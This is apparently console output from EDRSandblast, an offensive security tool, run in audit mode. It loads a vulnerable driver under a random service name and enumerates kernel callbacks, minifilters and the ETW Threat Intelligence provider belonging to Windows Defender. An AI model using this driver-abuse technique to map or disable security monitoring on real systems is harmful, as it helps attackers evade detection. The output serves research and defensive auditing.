.\EDRSandblast.exe -v audit --kernelmode -i
  ______ _____  _____   _____                 _ _     _           _
 |  ____|  __ \|  __ \ / ____|               | | |   | |         | |
 | |__  | |  | | |__) | (___   __ _ _ __   __| | |__ | | __ _ ___| |_
 |  __| | |  | |  _  / \___ \ / _` | '_ \ / _` | '_ \| |/ _` / __| __|
 | |____| |__| | | \ \ ____) | (_| | | | | (_| | |_) | | (_| \__ | |_
 |______|_____/|_|  \_|_____/ \__,_|_| |_|\__,_|_.__/|_|\__,_|___/\__|

  D3FC0N 30 Edition | Thomas DIOT (@_Qazeer) & Maxime MEIGNAN (@th3m4ks)

[!] If kernel mode bypass is enabled, it is recommended to enable usermode bypass as well (e.g. to unhook the NtLoadDriver API call)

[===== KERNEL MODE =====]

[+] Loading required offsets for ntoskrnl.exe...
[+] Downloading kernel related offsets from the MS Symbol Server (will drop a .pdb file in current directory)
[+] Downloading offsets succeeded !
[+] Ntoskrnl offsets:  f050c0 | f052c0 | f04ec0 | 5fa | eff2e0 | 20 | 60 | fc5a98 | fc5ac8 | c8 |f045e0
[+] Downloading fltmgr.sys related offsets from the MS Symbol Server (will drop a .pdb file in current directory)
[+] Downloading offsets succeeded !
[+] Installing vulnerable driver...
[*] 'HtH6dYBy' service was not present
[+] 'HtH6dYBy' service is successfully registered
[+] 'HtH6dYBy' service ACL configured to for Everyone
[+] 'HtH6dYBy' service started


[+] Checking if any EDR kernel notify rountines are set for image loading, process and thread creations...
[+] [NotifyRoutines]    Enumerating process creation callbacks
[+] [NotifyRoutines]    PspProcessCreateNotifyRoutine: 0xfffff80396b050c0
[+] [NotifyRoutines]            fffff803275807f0 [cng.sys + 0x207f0]
[+] [NotifyRoutines]            fffff80328fd0050 [WdFilter.sys + 0x60050]
[+] [NotifyRoutines]            Found callback belonging to EDR driver WdFilter.sys [callback addr : 0xfffff80396b050c8 | callback struct : 0xffff858bb4fd6eef | callback function : 0xfffff80328fd0050]
[+] [NotifyRoutines]            fffff80327876e00 [ksecdd.sys + 0x26e00]
[+] [NotifyRoutines]            fffff80327a737c0 [dxgkrnl.sys + 0x237c0]
[+] [NotifyRoutines]            fffff80329713ad0 [tcpip.sys + 0x3ad0]
[+] [NotifyRoutines]            fffff80329da0710 [iorate.sys + 0x10710]
[+] [NotifyRoutines]            fffff80327ff1e50 [CI.dll + 0x91e50]
[+] [NotifyRoutines]            fffff8032bbc5820 [UCPD.sys + 0x5820]
[+] [NotifyRoutines]            fffff8032ba620d0 [peauth.sys + 0x420d0]
[+] [NotifyRoutines]            fffff8032d9a1b80 [wtd.sys + 0x1b80]
[+] [NotifyRoutines]            fffff8032e34ce60 [KslD.sys + 0xce60]
[+] [NotifyRoutines]    Found a total of 1 EDR / security products driver(s)
[+] [NotifyRoutines]    Enumerating thread creation callbacks
[+] [NotifyRoutines]    PspThreadCreateNotifyRoutine: 0xfffff80396b052c0
[+] [NotifyRoutines]            fffff80328faa5a0 [WdFilter.sys + 0x3a5a0]
[+] [NotifyRoutines]            Found callback belonging to EDR driver WdFilter.sys [callback addr : 0xfffff80396b052c0 | callback struct : 0xffff858bb4fd6f1f | callback function : 0xfffff80328faa5a0]
[+] [NotifyRoutines]            fffff80328fb35f0 [WdFilter.sys + 0x435f0]
[+] [NotifyRoutines]            Found callback belonging to EDR driver WdFilter.sys [callback addr : 0xfffff80396b052c8 | callback struct : 0xffff858bb4fd610f | callback function : 0xfffff80328fb35f0]
[+] [NotifyRoutines]            fffff8032d913a60 [mmcss.sys + 0x3a60]
[+] [NotifyRoutines]            fffff8032e34cd20 [KslD.sys + 0xcd20]
[+] [NotifyRoutines]            fffff8032e34cdc0 [KslD.sys + 0xcdc0]
[+] [NotifyRoutines]    Found a total of 2 EDR / security products driver(s)
[+] [NotifyRoutines]    Enumerating image loading callbacks
[+] [NotifyRoutines]    PspLoadImageNotifyRoutine: 0xfffff80396b04ec0
[+] [NotifyRoutines]            fffff80328fec5e0 [WdFilter.sys + 0x7c5e0]
[+] [NotifyRoutines]            Found callback belonging to EDR driver WdFilter.sys [callback addr : 0xfffff80396b04ec0 | callback struct : 0xffff858bb4fd6dff | callback function : 0xfffff80328fec5e0]
[+] [NotifyRoutines]            fffff8032bcf6b10 [ahcache.sys + 0x46b10]
[+] [NotifyRoutines]            fffff8032e34cc80 [KslD.sys + 0xcc80]
[+] [NotifyRoutines]    Found a total of 1 EDR / security products driver(s)

[+] Checking if EDR callbacks are registered on processes and threads handle creation/duplication...
[+] [ObjectCallblacks]  Enumerating Process object callbacks :
[+] [ObjectCallblacks]          Callback at FFFFE489754E2D30 for handle creations:
[+] [ObjectCallblacks]                  Status: Enabled
[+] [ObjectCallblacks]                  Preoperation at 0xfffff8032bbc4830 [UCPD.sys + 0x4830]
[+] [ObjectCallblacks]          Callback at FFFFE4897545BB00 for handle creations & duplications:
[+] [ObjectCallblacks]                  Status: Enabled
[+] [ObjectCallblacks]                  Preoperation at 0xfffff80328f9e540 [WdFilter.sys + 0x2e540]
[+] [ObjectCallblacks]                  Callback belongs to an EDR and is enabled!
[+] [ObjectCallblacks]  Enumerating Thread object callbacks :
[+] [ObjectCallblacks]          Callback at FFFFE489754E2D70 for handle creations:
[+] [ObjectCallblacks]                  Status: Enabled
[+] [ObjectCallblacks]                  Preoperation at 0xfffff8032bbc4830 [UCPD.sys + 0x4830]
[+] [ObjectCallblacks]  Object callbacks are present !

[+] Checking if EDR callbacks are registered on I/O events (minifilters)...
[*] [MinifilterCallbacks]       fltmgr.sys : fffff803277b0000
[*] [MinifilterCallbacks]       FltGlobals : fffff803277ed780
[*] [MinifilterCallbacks]       FrameList  : fffff803277ed840
[*] [MinifilterCallbacks]       Enumerating minifilters' frames, filters, instances and callback nodes:
[*] [MinifilterCallbacks]       _FLTP_FRAME : ffff858bb826b5d0:
[+] [MinifilterCallbacks]               _FLT_FILTER ffff858bbc481010 (bindflt.sys)
[+] [MinifilterCallbacks]               _FLT_FILTER ffff858bb86fe3d0 (UCPD.sys)
[+] [MinifilterCallbacks]               _FLT_FILTER ffff858bb8281ab0 (WdFilter.sys)
[+] [MinifilterCallbacks]                       EDR-related filter found! Enumerating callbacks from all instances:
[+] [MinifilterCallbacks]                       _FLT_INSTANCE ffff858bb840c7d0: 11 callback nodes found!
[+] [MinifilterCallbacks]                       _FLT_INSTANCE ffff858bb8691930: 11 callback nodes found!
[+] [MinifilterCallbacks]                       _FLT_INSTANCE ffff858bbbb25660: 11 callback nodes found!
[+] [MinifilterCallbacks]                       _FLT_INSTANCE ffff858bbbe10930: 11 callback nodes found!
[+] [MinifilterCallbacks]                       _FLT_INSTANCE ffff858bbb2ec4a0: 11 callback nodes found!
[+] [MinifilterCallbacks]                       _FLT_INSTANCE ffff858bbbebb010: 11 callback nodes found!
[+] [MinifilterCallbacks]               _FLT_FILTER ffff858bbc825270 (storqosflt.sys)
[+] [MinifilterCallbacks]               _FLT_FILTER ffff858bbc7994e0 (wcifs.sys)
[+] [MinifilterCallbacks]               _FLT_FILTER ffff858bbbe52520 (cldflt.sys)
[+] [MinifilterCallbacks]               _FLT_FILTER ffff858bbc6f6a10 (bfs.sys)
[+] [MinifilterCallbacks]               _FLT_FILTER ffff858bb87b64c0 (filecrypt.sys)
[+] [MinifilterCallbacks]               _FLT_FILTER ffff858bbc744010 (luafv.sys)
[+] [MinifilterCallbacks]               _FLT_FILTER ffff858bbc483010 (UnionFS.sys)
[+] [MinifilterCallbacks]               _FLT_FILTER ffff858bb88c2600 (npsvctrig.sys)
[+] [MinifilterCallbacks]               _FLT_FILTER ffff858bb827ca20 (Wof.sys)
[+] [MinifilterCallbacks]               _FLT_FILTER ffff858bb827c010 (fileinfo.sys)
[+] [MinifilterCallbacks]       Minifilter callbacks are present !

[+] [ETWTI]     Checking the ETW Threat Intelligence Provider state...
[+] [ETWTI]     Found ETW Threat Intel provider _ETW_REG_ENTRY at 0xffff858bb4cfd210
[+] [ETWTI]     ETW Threat Intelligence Provider is ENABLED!

[*] Uninstalling vulnerable driver...
[+] 'HtH6dYBy' service stopped
[+] The vulnerable driver was successfully uninstalled!